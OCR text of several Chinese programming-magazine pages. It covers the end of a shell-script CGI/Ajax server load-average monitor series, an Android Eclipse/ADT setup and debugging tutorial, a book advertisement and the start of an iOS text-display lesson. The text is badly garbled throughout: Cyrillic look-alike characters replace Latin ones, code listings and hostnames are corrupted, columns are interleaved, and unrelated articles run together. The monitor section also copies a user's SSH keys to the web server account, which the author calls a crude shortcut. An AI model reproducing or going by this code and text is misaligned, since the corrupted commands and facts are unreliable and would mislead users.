第 13 一 19 行 中 ， 取 得 监视 对 象 Linux 主机 的 
平均 负载 ， 生 成 代入 SVG 的 字符 串 。sar -q 的 
输出 如 图 4 所 示 。 从 输出 中 去 除 多 余 的 头 部 ， 取 
得 一 个 叫 作 1davg-1 的 字段 ， 就 可 以 输出 画图 时 
所 需 的 纵 轴 、 椰 轴 ， 以 及 其 他 坐标 值 ， 如 代码 
清单 5 所 示 。 代 码 清单 4 中 第 17 行 的 tail -r 
是 反 回 显示 文件 的 命令 ， 和 Linux 的 tac 等 价 。 
然后 就 是 做 成 SVG, 加 上 HTTP 头 , 并 
从 标准 输出 进行 输出 即 可 。 使 用 Open usp 
Tukubai 的 mojihame 命令 ， 把 代码 清单 的 数 
据 循环 加 入 到 $tmp-sar 中 ， 制 作 图 形 的 SVG， 
关于 这 一 点 这 里 不 再 费 述 ， 总 之 就 是 先 把 绘图 
的 HTML 片段 输出 。 我 们 继续 往 下 进行 。 
然后 本 来 想 讲 HTML 方面 的 内 容 的 ， 但 使 
用 ssh 需 要 密 钥 认证 ， 所 以 还 得 先 对 这 个 进行 
设置 。 可 以 使 用 _ www 账号 连接 ueda@www. 
usptomo.com, 但 在 Mac 环 境 下 , 在 上 日 录 / 
Library/WebServer.ssh/ 下 把 密 钥 整套 设 好 即 可 。 
笔者 挪用 目 己 密 钥 的 设 定 比 较 粗 炸 ， 如 网 5 所 
示 ， 如 果 想 正 儿 八 经 地 做 ， 应 该 切换 成 root 账 














У Ёз cgi-name 的 执行 示例 






编写 CGI 脚本 ( 3 ) 
一 一 使 用 Ajax 动态 更 新 页 面 





号 ， 然 后 做 一 个 密 铀 ， 再 配置 到 所 连接 的 服务 
希 。 要 注意 所 有 者 和 许可 证 的 问题 。 

接 下 来 我 们 把 话题 转移 到 HTML 方面 。 
HTML 方面 针对 多 个 主机 执行 1davg.cgi， 完 成 
图 表 的 描绘 (代码 清单 6 )。 这 样 就 做 成 了 可 以 
将 多 个 服务 右 的 状态 尽 收 眼底 的 Web 监视 画面 。 
ЛЛ, 但 Ajax 还 是 使 用 异步 方式 。 

这 上段 代码 是 基于 代码 清单 3 改编 而 成 的 。 
第 31 行 中 通过 设 定 <body onload=..., 在 页 面 
被 载 和 人 时 调用 check 孔 数 ， 之 后 每 60 秒 就 循环 
调用 check。 在 check РА, ЗЕЕ ХГ АЈ 
主机 ， 然 后 调用 ldavg РА 

接 下 来 用 浏览 絮 打 开 ldavg.html， 就 可 以 
看 到 如 图 6 所 示 的 图 形 ， 每 分 钟 ( sar žij 
是 每 10 分 钟 ) 会 重新 描绘 一 次 。 











У (1558588 5 $tmp-sar 中 存储 的 数据 实例 


40 14 时 00 分 12 0.12 27 39 
60 13 时 50 分 0 0.00 47 59 
80 13 时 40 分 3 0.03 67 79 








$ echo 'host=uedaðwww.usptomo.com&port=12345' | cgi-name 


host иедадины. иѕріото. сот 





рогі 12345 


У 84 sar 的 输出 实 示例 


WWwW.usptomo.com -p 12345 'LANG=C sar -q' | head -n 7 


2.6.32-279.19.1.el6.x86_64 


ldavg-1 [(дауд—5 ldavg-15 
1.26 1.10 0.58 
0.02 0.32 0.45 
0.08 0.06 0.23 
0.00 0.00 0.10 


runq-sz plist-sz 





У 85 把 ueda 账 号 的 密 钥 移 给 _www 账号 


# са /Library/WebServer/ 
# rsync -a /Users/ueda/.ssh/ .ssh/ 


# chown www: www .ssh/ 
# chown www:_ www .ssh/* 
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XFS Quota / 


1416:17 


KMA © shell Ж 
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各 图 6 完成 后 的 画面 
a О О Ci атола нич к, 
PH "= с Гу юсайһю л / ldavg. ht ml i Е 
www.Usptomo.com araibo.is-a-geek.com 
ато ожа = жаан 本 回 是 CGI 课题 的 最 终 回 ， 挑 战 了 一 下 用 
10 交 40 人 2 jomos shell 脚本 实现 Ajax 的 课题 。 通 过 使 用 本 回 介 
10305 101305 
Тс ннн 10820} 绍 的 方法 ， 不 管 是 同步 方式 还 是 异步 方式 ， 都 
ce comsoa 可 以 用 shell АХАЛ 5-а ЕС), ШЖ 
ОНАР 
== | 再 把 Web 页 面 设计 得 美观 一 些 ， 甚 至 就 会 让 人 
感觉 不 到 是 用 shell 脚本 做 的 网 站 。 不 过 现实 总 
有 代码 清单 6 调用 ldavg.cgi 的 HTML( ldavg.html ) 是 令 人 出 乎 意料 ， 这 样 的 网 站 似乎 还 不 少 呢 。 
01 <1DOCTYPE html> 下 一 回 ， 我 们 将 讲解 关于 原稿 和 笔记 等 文 
02 <html lang="ja"> pe n 
03 <head> FARERI TRE, 
04 <meta charset="UTF-8" /> 
05 <script> 
06 var hosts = ["host=uedaðwww.usptomo.com&port=12345", 
07 "ћоѕё=иедадага1бо. ї5-а-деек. сотрогї=12345"]; 
08 
09 function сһеск() < 
10 [аад (0, "огарһ"); 
11 ldavg(1,"graph1"); 
12 } 
15 
14 function ldavg(hostno,target){ 
15 var h = new XMLHttpRequest(); 
16 h.onreadystatechange = function(){ 
17 if(h.readyState != 4 || h.status != 200) 
18 return; 
19 
20 document .getELementByld(target).innerHTML = h.responseText; 
21 } 
22 
23 h.open("POST","/cgi-bin/ldavg.cgi",true); 
24 h.setRequestHeader("Content-Type", 
25 "application/x-www-form-ur lencoded"); 
26 h.send( "d=" + Math.random() + "&" + hostsChostno]); 
27 } 
28 
29 </script> 
30 </head> 
31 <body onload="check();setInterval('check()',60000)"> 
32 <div id="graph0" style="height:600px;width:350px;float: Left"></div> 
33 <div id="graph1" style="height:600px;width:350px;float: Left"></div> 
34 </body> 
35 </html> 























应 用 开发 吧 


如 果 你 想 要 开发 一 个 Android 应 用 ， 现 在 
可 以 说 是 最 好 的 时 期 。 因 为 Android 系 统 已 
经 步 和 人 了 稳定 期 ， 对 于 入门 者 来 说 ， 现 在 的 
Android 系统 基础 稳固 ， 非 常 容易 学 习 。 

根据 谷歌 大 会 上 公布 的 信息 ， 目 前 已 经 
有 高 达 9 亿 台 的 Android 设 备 被 激活 。 看 来 
Android BAWN EAW Hmo AIh, wF 
的 谷歌 大 会 都 是 用 Android 的 新 技术 来 博 人 有 眼 
球 , 今年 则 有 所 不 同 , 与 新 加 入 的 功能 相 比 ， 
对 实际 的 应 用 开发 的 介绍 所 占 比重 大 大 增加 ， 
甚至 还 有 “如 何 用 Android 应 用 来 赚钱 ”这 种 露 
骨 的 标题 。 

谷歌 大 会 上 发 布 的 这 些 内 容 ， 说 明 Android 
已 经 过 了 以 新 技术 为 卖点 的 黎明 期 真正 进入 

了 稳定 期 。 无 论 从 书 上 还 是 从 网 站 上 ， 都 可 以 
找到 大 量 的 由 前 人 分 享 的 失败 经 验 和 最 好 的 解 
决 方案 。 只 要 将 应 用 公开 发 布 ， 就 可 以 为 人 们 
提供 服务 。 如 采 现 在 想 要 开始 Android 应 用 开 
发 的 话 ， 借 助 先 驱 者 们 的 知识 ,很 快 就 可 以 车 
握 这 门 技 术 。 通 过 这 些 技 术 ， 可 以 完成 许 许 多 
多 的 事情 。 

从 本 文 开始 ， 笔 者 将 以 连载 的 形式 癌 大 家 
介绍 Android 的 相关 知识 ， 预定 分 3 期 完成 。 
每 一 期 都 将 围绕 着 不 同 的 主题 ,将 Android 开 
发 的 精髓 ， 以 及 Android 开 发 中 有 意思 的 地 方 ， 


в 趁 现在 开始 Android | 





pT 开始 Android 


"т ттттттттт шишнинишнишишишишшишшишишишишишишишишиишишишинишиишишишишинишшиишишишишишининишининининиинин иии ин 
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应 用 开发 吧 1. 


Google Android 作 为 第 一 个 移动 设备 的 开源 平台 ， 吸 
引 了 很 多 工程 师 的 注意 。 让 我 们 通过 学 习 那 些 积累 了 丰富 经 验 
的 Android 工程 师 们 分 享 的 技巧 和 信息 ， 朝 着 Android 的 世 
界 大 步 前 进 吧 ! 


文 /铃木 圭 介 SUZUKI Kelsuke 
Апагоіа& А 21) 

CID www.ksksue.com/wiki/ © ksksue@gmail.com 
译 / 唐 洪 军 


分 享 给 大 家 。 同 时 也 会 加 入 许多 最 新 的 信息 ， 
因此 对 于 有 经 验 的 Android 开 发 者 来 说 也 是 非 
ЖН Н) 

本 文 将 从 JDKEK 和 ADT 绑 定 版 Eclipse 的 安 
装 、 应 用 实例 的 运行 ， 以 及 如 何 调 试 这 几 个 方 
面 进行 讲解 。 


у, 开发 环境 的 准备 | 


让 我 们 先 从 开发 环境 的 准备 开始 。 这 部 分 
本 想 一 囊 而 过 ,但 是 有 很 多 东西 还 是 需要 讲解 
= 

通 负 使 用 综合 开发 环境 Eclipse 来 进 
Android 开 发 。 安装 Eclipse 之 前 , 需要 安装 
JDK( Java Development Кі). 安装 JDK 的 原 
因 有 两 个 ， 第 一 个 是 为 了 编译 Android 的 Java 
代码 ， 另 一 个 原因 是 Eclipse 本 身 的 运行 也 需要 
JDK 的 文 持 。 

本 文 的 介绍 以 在 Windows 7 64bit 系 统 上 构 
贷 开 发 环境 为 准 。 


(Б) kaz 


从 JDK 的 下 载 页 面 J 下 载 JDK7 并 安装 。 
从 JAVA SE Development Кїї 7025 的 操作 平台 
列表 中 ,选择 你 正在 使 用 的 OS。 比 如 正在 
使 用 32 位 Windows 的 情况 下 , 就 选择 属于 


























GD http://bit.ly/ JDKdown 





可 图 1 Android SDK ADT Bundle for Windows 


= A [| Арі@егпое јама £3 BE Outline £3 
Ф * Copyright (С) 2607 The Android Open Source Projecti еы ж еш ` 
| Е com.example.androld.apis 
代码 视图 | + Ә ApiDemos 
> 88 gen [Generated Јама Files: @ 1арос& sndroid. app.Listhctivity;l] ә. OncreatelBundle) : vold 
> E Android 4.2.2 public class АріПелат extends ListActiwity { Ф getData(String) : Liste Map- 
> з amets а 让 sDisplayMamecomparator : 
а. bin Е мегг1йе а с 
Р 00 public моїй nCreatelbBundle 5ачейїтзїапсеъїате) { Р пем Comparato] +...) 
р @ res зирег.опсгеате(заеедїілзтапсезтате) ; è activityIntentiString, Stringi 
ests о bröwselntenti Stri : Int 
" Б. Intent intent = getIntent{); Ы ишиц); Inter 
СЙ AndroldManifest.xmi String path = intent. рес5%гіпрЕхега( “сот. example, android. apis. è additem(ListeMape String, 


project. properties IF (path ul { $a AnListitemClick{Listview, Wi 
1 pā =m ГИ 


path = "=; А = 
| 代码 轮 万 
zetl istädapter (мы эйр 1еАйлр®ег (this, EetData( pathy), а 
jasi f "ж 


(00 Problems @ lavadoe (0, Declaration [E] Console адс (3 (H Devices SM File Explorer 


package сот. example. android.apis; 


[Ë README.txt 














Saved Filters Ф * Soarch for messages. Accepts Jawa regexes, Prefix with pid: appi tag: or text: to |мепїими ~ НЕ 


All messages (по | 
| ( кр PID TID Application [г] Text = 


07-01 156:33:01 .038 22166 727366 РаметЕллг1г М... receive Int 
07-01 16:33:01.798 181# 1818 Шанаш®ет aab cannet 
07=01 16:33:01.798 1818 1818 Datakonter CSR is ОН. E 


Device disg т 














Widows x86 系列 的 jdk-7u25-widows-i586.exe; 然后 ， 我 们 把 下 载 的 zip 文 件 ， 在 合适 的 
正在 使 用 64 位 widows 的 情况 下 ， 就 下 载 属于 地 方 解 压 。 打 开 解 压 后 的 eclipse 文 件 夹 , 在 
Widows 64 系列 ka jdk-7u25-widows-x64.exe, 根 目 录 下 就 有 eclipse.exe 文 件 。 在 你 喜欢 的 地 
然后 进行 安装。 安装 工作 可 以 直接 执行 到 最 后 方 ， 比 如 说 更 面 ， 建 立 eclipse.exe 的 快捷 方式 。 





Ж, о. 双击 该 快捷 方式 ， 就 会 打开 默认 的 工作 目录 
2a . та ( workspace )。 如 朵 没有 特别 的 理由 ， 无需 更 
@ АРТ = Eclipse Вузе 改 此 路 径 。 在 “Use this as Ше default апа do not 
接 下 来 到 Android SDK ОТ АЭ, FRA ask again”( 本 目录 作为 默认 目录 ， 下 次 启动 时 
定 了 ADT 插 件 的 Eclipse。 点 击 这 个 页 面 上 的 该 对 话 框 将 不 再 显示 ) 里 打 勾 ， 选 择 OK 束 可 
[Download the SDK ADT Bundle for Windows] ИТ. 

按钮 ,在 接 下 来 的 页 面 下 载 32 位 或 者 64 位 然后 会 出 现 “Contribute Usage Statistics?” 
的 版 本 。 以 前 都 需要 先 下 载 Eclipse， 再 安装 这 个 对 话 框 。 如 果 想 要 把 SDK 的 使 用 情况 
ADT. MEK T ADT 绑 定 版 ， 束 不 需要 发 送 给 Google， 为 SDK 的 改善 做 贡献 的 话 ， 
这 样 的 操作 了 。 就 选择 Yes, 否则 选 No, 然后 点 击 Finish 按 
钮 。 第 一 次 启动 的 时 候 ， 整 个 画面 上 会 显示 

Android IDE 的 标签 。 将 其 关 掉 之 后 ， 就 能 














® 现在 ， 随 着 JDK 有 版 本 的 不 断 开 级 ， 虽 然 Gracle 推 荐 使用 。 到 Android 的 开发 环境 了 ， 应 该 就 是 图 1 那样 
JDK 7, 但 是 Google 的 ADT 运 行 环境 还 是 以 JDK 6 为 基 的 画面 。 
础 。 根 据 作者 的 调查 ， 在 JDK 7 下 运行 也 是 没有 问题 的 。 
如 果 想 要 安装 JDK 6， 可 以 在 JDK 6 的 导航 页 面 (http:/ 接 下 来 讲 讲 如 何 安 装 开发 包 。 


bit.ly/JDK6archive ) 选择 JDK6， 并 下 载 安装 。 
(8) http://bit.ly/AndSdk 
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Android SDK Manager 9 
设 定 

Android SDK Manager E HÆ SDK 的 版 本 
包 ， 因 为 Android 的 每 个 版 本 所 对 应 的 开发 包 
都 是 不 同 的 。 当 新 版 本 的 开发 包 发 布 的 时 候 ， 
可 以 利用 Android SDK Manager 来 更 新 。 但 是 
因为 没有 更 新 的 通知 功能 ， 需 要 时 不 时 地 去 手 
动 检查 是 否 可 以 进行 更 新 。 

Eclipse 的 主 画 面 左上 方 有 两 个 Android 
图 标 , 其 中 左边 那个 就 是 “Android SDK 
Manager”( 参 考 图 1 的 对 象 枉 )， 点 击 这 个 图 标 
就 可 以 启动 Android SDK Manager( 图 2), 可 
以 在 Android SDK Manager 中 选择 是 否 安 装 开 
发 包 ， 并 根据 自己 的 需要 ， 对 开发 包 进 行 下 载 。 

安装 Eclipse 之 后 ， 这 个 时 候 只 安装 了 最 
新 的 开发 包 。 所 以 如 果 没 有 对 和 象 Android 设 备 
的 开发 包 的 话 ， 就 需要 在 这 里 选择 安 狐 。 为 
外 ， 因 为 之 后 还 要 使 用 实例 工程 (Samples for 
SDK )， 所 以 要 选择 与 日 身 的 Android 设 备 相符 
的 版 本 。 

比如 ， 如 宁 设 备 的 版 本 是 Android 4.0.3 
的 话 ， 就 应 该 选中 “Android 4.0.3(АРІ 15)” 里 
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HJ “ SDK Platform ” “ ARM EABI v7a System 
Image” #1 “Samples for SDK” 

另外 , 由 于 Windows 的 情况 下 需要 安装 
连接 PC 和 设备 的 USB 驱动， 所 以 还 需要 选中 
“Extras” 的 “Google USB Driver” - 

这 些 都 选择 之 后 ， 点 击 “Install X Package” 
(X 是 选择 安 猴 包 的 数量 ) 的 按钮 ， 然 后 在 下 
一 个 画面 中 ， 选 中 “Accept License"， 并 点 击 
“Install” 按 钮 。 所 有 的 安装 包 都 下 载 、 安 装 之 后 ， 
Android 的 Eclipse 开发 环境 也 就 完成 了 。 

接 下 来 我 们 介绍 一 下 应 用 执行 环境 的 模 








运行 环境 的 准备 


没有 Android 设 备 的 情况 下 ， 或 者 想 在 动 
作 确 认 和 调试 的 时 候 世 省 设备 传输 的 时 间 的 话 ， 
可 以 在 PC 上 下 接 使 用 模拟 硕 。 如 果 开 发 中 不 
需要 用 到 模拟 天 的 话 ， 可 以 跳 过 本 章 。 

AVD Manager 的 设 定 和 模拟 
器 的 局 动 

想 要 局 动 模拟 带 ， 首先 要 用 AVD ( Android 
Virtual Device ) Manger 新建 对 应 的 设备 模型 。 
АУР Manager 是 新 建 和 启动 模拟 需 的 管理 工具 。 
点 击 Eclipse 左 上 角 的 Android SDK 
Manager 图 标的 右 侧 的 “Android 
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Packages 
@ Name 
а F| Tools 
№ 44 Android SDK Tools 22.0.1 Ё Installed 
№ 4 Android SOK Platformrm-iools 17 Installed 
F| - Android S0K Build-tools 17 Б Installed 
а F| Eg Android 4.2.2 (АРТ 17) 
RE Documentation for Android 50 
М 1 SOK Platform 
F 1 Sampes г SDK 
F| ШИШ ARM EARI w7a System Image 
F| ШШ itel x5 Atom System image 
F| ШШ MIPS System Image 
№ и! Googe APIa 
№ П Sowces for Android 57 
t F| Eg Android 4.1.2 (АРТ 16) 
t F| Eg Android 4.0.3 (АРТ 15) 
t FI Eg Android 4.0 (АРТ 14) 
t F Eg Android 3.2 (АРТ 13) 
t F Eg Android 3.1 (АРТ 12) 
Ot FP Andrii i ГАРТ 11\ 
Show: |V] Updates/New |V]Installed obsolote Select New or Updates 


Rew Status 





Æ installed 


Æ Jnatalled 


та ш ша ша ЮМ. ks bb by 


Sört Бу: @ АРІ еме Ф) кероѕиогу Deselect All 


н 
Done loading packages. 





C МГ installed 


C Aot installed 


Install 1 package... 


Delete packages... 


Virtual Device Manager” K| 标 ( 参 
考 图 1 的 对 象 框 )， 就 会 弹出 一 个 
窗口 ， 点 击 窗 口中 的 “New” 按 钮 ， 
就 会 显示 模拟 需 的 新 建 窗 口 。 在 
“АУР Name” 里 输入 适当 的 名 字 。 从 
Device 中 选择 需要 的 的 设备 。 一 般 
的 智能 机 设备 即 可 的 情况 下 可 以 选 
择 “Galaxy Nexus” o “SD Card” 的 
大 小 这 一 项 ， 输 入 多 少 都 可 以 。 然 
后 点 击 “OK ”按钮 ， 就 可 以 建成 镜 
像 模型 了 。 在 选中 这 个 镜像 模型 的 
状态 下 ， 点 击 “Start” 按 钮 ， 然 后 在 
弹出 的 画面 中 , 点 击 “Launch” 按 钮 ， 
Android 模 拟 各 就 可 以 启动 了 ! 
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К ТИЛЕ REKAMAN Е Лр Вн 
Android 2, ІН — 0 НЕМ 2.8.46 
的 NFC( Near Filed Communication ) 和 传 感 需 
类 的 功能 是 无 法 实现 的 。 也 就 是 说 ， 在 稍 后 的 
实例 执行 过 程 中 ,那些 和 传 感 郑 相关 的 应 用 ， 
还 是 注意 不 要 去 启动 它 ， 不 过 照相 功能 还 是 可 
以 通过 电脑 的 摄像 头 来 实现 的 。 


@ 真 机 上 的 运行 环境 的 配备 


如 末 有 Android 设 备 的 话 , 可 以 直接 在 
Android 设 备 上 准备 应 用 的 运行 环境 。 首 先 ， 
打开 Android 设 备 的 “ 设 定 ” 选 项 ,在 “ 面 问 
开发 者 ”的 选项 中 ,把 “USB 调 试 ” 这 一 项 打 
上 色 外。 这 样 的 状态 下 ， 只 要 连接 了 USB， 就 
可 以 通过 ADB(Android Debug Bridge) 把 PC 和 
Android 系统 连接 起 来 。 但 是 ，Windows 系统 
的 情况 下 必须 有 USB 驱动 才能 够 进行 ADB 连 
接 ， 因 此 请 安 污 由 设备 制造 商 提 供 的 ADB IK 
动 。 如 果 只 需要 连接 Nexus 7、Galaxy Nexus、 
Nexus S, Nexus Опе 这 些 由 Google 提 供 的 
驱动 的 话 ， 因 为 在 刚才 讲述 的 Android SDK 
Manager 中 已 经 安装 了 相应 的 驱动 ， 所 以 只 需 
要 在 检索 驱动 的 时 候 ， 指 定 路 径 为 “<Eclipse 
的 安装 目录 >\sdkextras\googlevusb driver” x 
可 以 了 。 

驱动 安装 之 后 , 如 果 想 要 确认 PC 和 
Android 是 否 进行 了 ADB 连接 的 话 ， 可 以 通过 
Eclipse 的 “Devices "标签 来 确认 。 在 Eclipse 
的 菜单 中 ， 依 次 选择 [Window] 一 [Show View] 
一 [Other] 一 [Android]， 再 选择 “Devices”， 点 
击 OK， 这 样 Eclipse 下 面 的 Devices 的 标签 就 
显示 出 来 了 (参照 图 1 画面 的 下 方 )。 然 后 再 在 
列表 中 看 看 自己 的 设备 名 称 是 否 显 示 了 出 来 ， 
如 采 是 就 可 以 了 。 为 外 用 同样 的 方法 还 可 以 显 
示 “Logcat” 标 签 。 从 Logcat 标 签 中 可 以 看 到 
Android 的 启动 Log 和 调试 Log, 所 以 非常 重要 。 



































D 找 不 到 面向 开发 者 的 选项 时 ( Android 4.2 以 后 的 版 本 )， 
首先 需要 转移 到 开发 者 模式 。 在 “ 设 定 ”的 信息 栏 ( 关 于 
手机 ) 中, 连续 点 击 7 次 版 本 号 , 开发 者 选项 就 会 显示 出 来 。 











7 实例 应 用 的 运行 
ый 


如 条 PC 上 局 动 了 模拟 硕 ， 或 者 用 ADB 连 
接 了 电脑 和 Android 设 备 的 话 ， 就 可 以 准备 实 
例 应 用 工程 ， 并 看 看 这 些 应 用 都 具备 哪些 功能 。 

首先 ,选择 提供 给 开发 者 的 实例 应 用 ， 
可 以 通过 点 击 Eclipse 的 菜单 中 的 [File ] 一 
[New] 一 [Other | 一 [Android | 一 [Android 
Sample Project], M 弹出 的 画面 当中 选择 
Android 的 版 本 。 人 然后 在 “Select Sample” Hj jj 
上 选择 “ApiDemos”。ApiDemo 是 一 个 可 以 试 
验 很 多 功能 的 应 用 。 

准备 好 ApiDemos 工程 之 后 ， 从 某 单 中 选 
f$ [Коп], M [Коп] (或 者 (cd+E19)， 从 弹出 
的 画面 中 选择 “Android Application”, #5 А 
击 OK。 这 样 就 可 以 像 图 3 那样 启动 ApiDemos 
了 (本 图 是 通过 模拟 带 启 动 的 )。 

由 于 实例 有 很 多 ， 所 以 作者 把 个 人 觉得 有 
意思 的 几 个 应 用 整理 到 了 表 1 当中 。 大 家 可 以 
随便 看 看 这 些 实例 ， 或 许 会 给 目 己 想 要 开发 的 
新 应 用 市 来 一 些 启发 。 


” | & 3 Android 














ЁЗ API Demos 
Accessibility 
| Animation 
| App 
Content 
| Graphics 
Media 


NFC 


| OS 


Preference 
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调试 方法 


Android 可 以 使 用 ADB 连接 进行 调试 。 真 
机 的 情况 下 ， 要 确保 USB 处 于 连接 状态 。 调 试 
方法 主要 有 以 下 两 个 。 





D 增加 断 点 ， 逐 步 执行 
(2) 在 Logcat 中 显示 文本 


首先 我 们 用 ApiDemos 这 个 工程 ,来 说 明 
一 下 如 何 使 用 逐步 调试 的 方法 。 打 开 Eclipse 
的 Android T. 程 下 的 [src] 一 
一 [АріРетоѕ.јауај, Æ super. 
onCreate(savedInstanceState); 这 一 行 增加 汤 
点 。 要 增加 断 点 ， 只 需 通过 双击 这 段 代 码 左边 
的 空格 处 就 可 以 了 。 这 样 我 们 就 可 以 看 到 空白 
处 会 有 一 个 病 点 ， 该 圆 点 就 表示 断 点 。 и 
状态 下 ， 点击 [Run] 一 [Debug] (或 者 [F111)。 
样 不 久之 后 在 Android 闪 就 会 局 动 е | 
Eclipse 就 会 转 到 调试 模式 。 在 Eclipse 的 调试 
模式 画面 中 ,可 以 执行 “ 步 骆 跳 过 "“ 步 又 跳 
入 “步骤 打印 ”这 些 基本 的 调试 方法 。 另 外 在 


[com.example. 


Android.apis| 








У 1 ApiDemos 示例 












停止 的 时 候 , 还 


还 可 以 把 鼠标 移动 到 变量 的 上 方 ， 
来 查看 变量 的 内 容 。 

为 一 个 调试 的 方法 是 在 Logcat 标 签 (显示 
方法 如 前 所 述 ) 中 显示 文本 的 方法 。 也 就 是 

“p intf 调 试 "。 在 ApiDemos.java 中 引入 import 

android.util .Log;， 在 onCreate 方 法 里 增加 Log. 
d("ApiDemos", "moemoe");。 这 样 调用 onCreate 
方法 时 ， 也 就 是 该 应 用 启动 的 时 候 ， 束 会 在 
Logcat 的 标签 中 显示 “ApiDemos”， 在 文本 里 
输出 “moemoe”。 

一 般 的 应 用 开发 的 话 ， 了 人 解 这 两 种 调试 方 
法 就 足够 了 。 




















本 回 我 们 讲述 了 如 何 构建 一 个 开发 环境 ， 
如 何 运 行 示例 应 用 ， 以 及 调试 的 方法 。 这 些 都 
是 开始 Android 开 发 所 无 法 避免 的 工作 。 只 是 
这 里 没有 花费 太 多 的 篇 幅 ， 只 是 简单 地 介绍 了 
下 

从 下 回 开 始 ， 
Android 编 程 。 








我 们 将 说 明 到 底 如 何 进行 





пх | 说 В 
Animation 一 Bouncing Balls 点 击 时 出 现 弹 球 的 动画 
Graphics — OpenGL ES 一 Kube 旋转 的 3D 魔方 


Media —> AudioFx 


音乐 均衡 器 





App 一 Notification 


通知 栏 出 现 的 信息 操作 





Views —> Animation 


各 种 各 样 的 动画 





Content— Clipboard 








OS— Rotation Vector 


复制 到 勇 贴 板 的 数据 类 型 判定 
随 着 设备 倾斜 的 立 万 体 ( 仅 限 真 机 ) 
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ERA = Апагоіа 了 工程师。 发 布 了 Android 和 Arduino/mbed/FPG 等 之 间 进 行 U5B 通 信 的 串 行 通信 驱动 的 开源 代码 。 现 在 正在 发 布 
可 用 于 功能 扩张 的 “Physicaloid Library” Э http://www.physicaloid.com/ 正在 招募 自由 工作 者 。 








关于 Android Studio 


Android Studio 22 2013 F5 В Googe ra 2013 本 上 都 是 两 三 分 钟 的 长 度 , 可 以 在 上 下 班 , 或 者 上 学 、 
上 友 布 的 全 新 的 Android 开 上 友 环 境 。 它 是 以 JetBrains 放学 时 看 一 下 。 另 外 ， 视 频 当 中 还 介绍 了 目 定 义 注 
公司 的 Intellij IDEA 为 基础 做 成 的 。 与 Eclipse 相 比 ， 释 等 功能 。 
Intelli) IDEA 更 轻 量 ， 同 时 还 具有 重 构 和 辅助 功能 





完善 等 特点 。 现 在 的 版 本 是 0.1.8, 由 于 还 处 于 开 上 友 版 辅助 功能 、 重 构 [6:02 开始 ] 
阶段 ， 经 常 5 天 左右 束 会 更 新 一 次 。 所 以 ， 除 非 你 CD http://bit.ly/AndroidStudioDemo1 
非常 喜欢 Intellij， 否 则 还 是 先 静 观 其 变 吧 。 Git 交互 [9:38 开 始 ] 

即便 如 此 ，Android Studio 还 是 为 开发 增添 了 ОЭ http://bit.ly/AndroidStudioDemo2 


乐趣 。 它 增加 了 各 种 各 样 的 功能 ， 是 一 个 非常 有 鬼 实时 UI 编辑 [17:00 开 始 ] 
力 的 开 友 环境 。 现 在 不 管 什么 开 友 环境 ， 都 会 通过 TD http://bit.ly/AndroidStudioDemo3 
视频 的 形式 让 大 家 体会 一 下 它 的 用 法 。 合 歌 大 会 秒表 应 用 示例 解说 [35:57 开始] 


2013 ВУ “ Мһаїѕ пем іп Android Developer Тоо” CED http://bit.ly/AndroidStudioDemo4 
№ 1 24 Ф, 38 5 T 5 4 7 Апагоіа 5їиаіо 8 秒表 应 用 示例 [44;10 开始] 


使 用 泄 例 。 下 面 为 大 家 准备 了 几 个 相关 的 网 址 ， 基 http://bit.ly/AndroidStudioDemo5 
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И 系统 服务 开发 





e Android 领域 特殊 作品 ， 一 本 书 精 通 Android 网 络 通 信和 系统 开发 
。 全 彩 插图 清晰 反应 操作 流程 ， 轻 松 愉 ды 底层 原理 
。 国 内 资深 研发 人 士 推 荐 ，Android 进 阶 必 


POM мч 


第 一 次 看 韩国 人 写 的 技术 书籍 ， 我 最 大 的 感触 是 讲解 深入 、 细 致 和 严谨 ,不 仅 讲 了 是 什么 ， 还 
讲 了 为 什么 。 作 者 从 原理 的 角度 深度 剖析 ， 解 释 了 Android 系统 设计 的 内 容 ， 很 多 总 结 很 到 位 ， 
类 比 也 很 形象 ， 可 见 其 对 telephony 模 块 和 power 模 块 有 着 深入 的 研究 和 丰富 的 实战 经 验 。 通 
过 本 书 不 仅 能 够 学 到 技术 , 更 能 体会 那 份 认真 的 态度 , 这 在 当下 日 益 浮躁 的 氛围 下 显得 尤为 珍贵 ! 


一 一 陈 家 林 ( Marvell 高 级 研发 经 理 ) 
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这 是 一 本 不 错 的 系统 开发 书籍 ， 通 过 本 书 可 以 了 解 系统 进程 间 通 信 、 通 信 ( RIL ) 框 加、 电源 管理 等 内 容 的 相关 细节 ， 对 致 
力 于 这 方面 开发 的 程序 员 来 说 大 有 神 益 。 


一 一 张 泳 (资深 软件 工程 师 、《 深入 剖析 Android 开 发 》 作 者 ) 
Апагоіа 系统 中 ， 内 置 App 可 以 实现 电话 号 码 显示 、 亮 度 调整 等 很 多 基本 功能 ， 这 些 Android 手 机 的 基本 功能 就 是 通过 “ 系 


#655” 实现 的 。 本 书 非常 详细 地 讲解 了 各 种 系统 服务 的 内 部 运作 原理 。 毫 无 疑问 , 无 论 你 是 初学 者 还 是 Android 开发 高 手 ， 
都 能 从 本 书 中 获 益 。 


一 一 金 哲 ( 360 高 级 研发 经 理 ) 


бСбөөөө ө ө ө 
某 鸟 编程 入 门 


Еее Уот Е 


阅读 类 应 用 


ОСттїО ( GimmiQ; Itanokumanbou&lio&reverse ) 
http://ninebonz.net/ 


当然 要 显示 文字 
当然 要 显示 文字 ! 
http:/www.studioloupe.com/ 


插图 /中 川 ER 本 连载 希望 从 未 做 过 编程 的 人 也 可 以 体验 制作 APP 的 乐趣 。 此 次 我 
译 / 芳 龙 。。 们 将 介绍 像 阅读 类 应 用 一 样 在 画面 上 显示 文字 的 方法 。 


图 1 本 期 将 要 完成 的 图 像 
这 期 讲 什么 呢 ? l А 


托 大 家 的 福 ， 本 连载 迎 来 了 第 5 回 。 本 期 将 
介绍 对 于 阅读 类 应 用 而 言 必 不 可 少 的 文字 显示 
功能 。 如 图 1 所 示 ， 我 们 和 硕 望 在 各 页 面 上 显示 标 
题 和 正文 。 闲 话 就 不 多 说 了 ， 接 下 来 介绍 一 下 
РЕЛЕ 








“使 用 UlLabel 显 示 文 字 


我 们 为 前 面 连载 中 做 成 的 项 目 加 入 文学 显示 功能 。 用 Xcode 打开 已 做 成 的 应 用 程序 的 项 目 (名 
为 MyBook2.xcodeproj )。 


ш 


把 显示 标题 文字 的 控件 配置 在 第 一 页 。 

在 Xcode 左 侧 的 Project Navigator( 项 目 
导航 ) 中 点 击 MainStoryboard.storyboard， 
打开 StoryBoard, 接着 从 Xcode 右 侧 的 
Object library (对象 库 ) 把 “Label 控件 拖 
入 到 Page1ViewController 中 (图 step1-1 )。 





© step1-1 Project Navigator Object library 
